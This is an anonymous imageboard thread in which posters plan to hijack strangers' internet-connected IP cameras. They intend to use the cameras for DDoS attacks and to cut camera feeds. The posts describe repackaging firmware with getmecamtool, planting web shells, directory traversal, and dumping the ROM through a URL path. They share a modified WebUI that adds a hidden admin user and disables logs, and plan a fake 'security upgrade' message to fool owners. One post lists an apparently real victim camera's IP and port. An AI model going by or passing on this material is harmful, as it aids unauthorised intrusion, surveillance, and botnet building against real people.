has anyone ever considered how much more useful it could be to shell these fucking things and use em as ovens? knocking feeds off + knocking servers down.

Name
Email
Subject
Comment *
File	Select/drop/paste files here
* = required field	[▶ Show post options & limits] Confused? See the FAQ.

Embed	(replaces files and can be used instead)
Options	Do not bump (you can also write sage in the email field) Spoiler images (this replaces the thumbnails of your images with question marks)
Password	(For file and post deletion.)
Allowed file types: jpg, jpeg, gif, png, webm, mp4 Max filesize is 8 MB. Max image dimensions are 10000 x 10000. You may upload 5 per post.

File: 1426169160998.png (19.22 KB, 403x410, 403:410, 2014-06-21-002327_1280x800….png)

Anonymous 03/12/15 (Thu) 14:06:01 db343c No.537

has anyone ever considered how much more useful it could be to shell these fucking things and use em as ovens? knocking feeds off + knocking servers down.

Anonymous 03/12/15 (Thu) 17:59:12 b3efbe No.538

yes.

http://blog.shekyan.com/2013/05/using_getmecamtool.html

modify the firmware to include executables or whatever, repackage and install on the cam.

Anonymous 03/16/15 (Mon) 15:21:25 730b28 No.543

>>538

has anyone successfully done the proxy example without making the camera inaccessible? I don't know if I keep bricking them or if I can't reach them because of the port change (and no new port forwarding on their side)

Anonymous 03/16/15 (Mon) 17:18:55 b3efbe No.546

>>543

I've never tried because I just assume I'll brick the cam. But it seems reasonable to think that if you just install a web based PHP or CGI shell (that you can hit via the current port) packaged in with the regular firmware or web UI then you'd be good to go.

The really hard part would be getting your hands on all of the manufacturer-specific firmware builds so it's not totally obvious to the cam owner when their shit gets "upgraded."

The oldest versions of the firmware are susceptible to even dumber directory traversal attacks. So targeting the CGI or even the Linux build on the cam might be other good avenues to explore.

I'm out of my depth on all of the above, though.

Anonymous 03/16/15 (Mon) 19:12:52 730b28 No.547

>>546

as far as I know, the html/camera (cgi) handling is all handled through one executable (simply named "camera"). I don't believe it supports php or cgi. The "cgi" pages on the camera are just commands built directly into the server itself.

The proxy bundled with the getmecamtool is just a separate executable that runs on boot, but again I can never get it working.

I have found that you can dump the romfs.img by doing <IP>//dev/rom0. I have tried using this dumped image with syspack (unmodified, no proxy or anything) and it flashes successfully. Upon adding the proxy to the bundle I can no longer get it to start/connect. I'm going to try messing around more when I get back home.

Anonymous 03/16/15 (Mon) 22:37:46 b3efbe No.548

>>547
Keep us posted. The hidden user option would be really helpful for solid wins.

Anonymous 03/16/15 (Mon) 22:42:39 730b28 No.549

>>548

https://mega.co.nz/#!3lFRkK7B!FcjW4Pg7kEm7Vn1uKclB390GhMivPhBYJFzCy64HScU

This WebUI is based off of Foscam 2.4.10.2 and includes the hidden 8th user and disabled logs (from tut thread)

Anonymous 03/16/15 (Mon) 22:56:02 b3efbe No.550

>>549
Thanks, I've had this languishing on my computer for a while now. Tried it? I'm just as worried that this will brick a cam but I haven't bothered to try it on a burner.

"One of these days" I'm going to get around to modifying the HTML in this to include a "you've been upgraded to keep your cam safe and secure" message in an attempt to mitigate any user concerns with UI changes.

joe 03/16/15 (Mon) 23:48:45 d16b0c No.551

>>550

Because it's a WebUI, bad flashes are recoverable. You can just use a script (getmecamtool) to upload the original firmware and everything will be okay again.

Here's an example cam: http://24.18.176.42:8090/